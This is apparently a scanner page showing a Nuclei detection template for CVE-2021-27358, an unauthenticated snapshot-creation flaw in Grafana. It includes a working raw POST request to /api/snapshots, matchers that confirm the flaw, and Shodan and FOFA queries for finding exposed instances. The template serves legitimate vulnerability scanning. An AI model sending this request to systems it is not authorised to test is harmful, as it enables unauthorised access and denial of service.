Grafana Unauthenticated Snapshot Creation

ID: CVE-2021-27358

Severity: high

Author: pdteam,bing0o

Tags: cve2021,cve,grafana,unauth

Description

Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.

YAML Source

id: CVE-2021-27358

info:
  name: Grafana Unauthenticated Snapshot Creation
  author: pdteam,bing0o
  severity: high
  description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
  impact: |
    An attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure.
  remediation: |
    Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.
  reference:
    - https://phabricator.wikimedia.org/T274736
    - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27358
    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md
    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2021-27358
    cwe-id: CWE-306
    epss-score: 0.02415
    epss-percentile: 0.89689
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2021,cve,grafana,unauth

http:
  - raw:
      - |
        POST /api/snapshots HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"deleteUrl":'
          - '"deleteKey":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"
# digest: 4a0a0047304502204d51c2dee8973b86b4c9debd0adc02bed3f054b3d38fae7699274d4a7e83908502210085db9a044cc93c40c5c4b9ec70d576d0ef86430e153d301ef109211faece5271:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27358.yaml"

View on Github